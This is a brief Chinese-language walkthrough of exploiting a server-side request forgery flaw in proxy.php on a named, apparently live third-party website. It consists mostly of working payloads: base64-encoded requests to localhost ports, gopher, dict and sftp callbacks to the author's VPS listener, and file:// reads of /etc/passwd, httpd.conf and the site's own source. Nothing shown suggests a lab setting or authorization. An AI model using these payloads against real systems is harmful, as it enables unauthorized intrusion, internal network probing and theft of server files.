漏洞:SSRF漏洞
难度:低
我发现一个存在SSRF的随机web网站,为了利用它我应该将输入数据编码为base64格式,下面是正常的URL,这会将我们定位到我们提供的url地址上面去
1
| http://playfreedownloadgames.com:2483/proxy.php?url=aHR0cDovL3d3dy50b3A4MHNnYW1lcy5jb20vc2l0ZS9jb250ZW50L3BhY21hbg==
|

1
| http://playfreedownloadgames.com:2483/proxy.php?url=aHR0cDovLzEyNy4wLjAuMTo4MA==
|

尝试一下443端口

出现Bad Request响应是因为我们使用HTTP但是使用了443端口。现在我们继续尝试gopher、dict和sftp。我将在我的VPS中监听1337端口
1 2 3
| gopher://my_vps_ip:1337/_pacenoge dict://my_vps_ip:1337 sftp://my_vps_ip:1337
|

可以看到上述请求都成功了。但还有什么我们没有尝试呢?对了,是file:///etc/passwd

接着我想看看httpd.conf
1
| file:///etc/httpd/conf/httpd.conf
|

通过阅读httpd.conf文件我知道了web服务的根目录/home/playfreedownloadgames/public_html 所以我可以读取proxy.php的文件内容
1
| file:////home/playfreedownloadgames/public_html/proxy.php
|
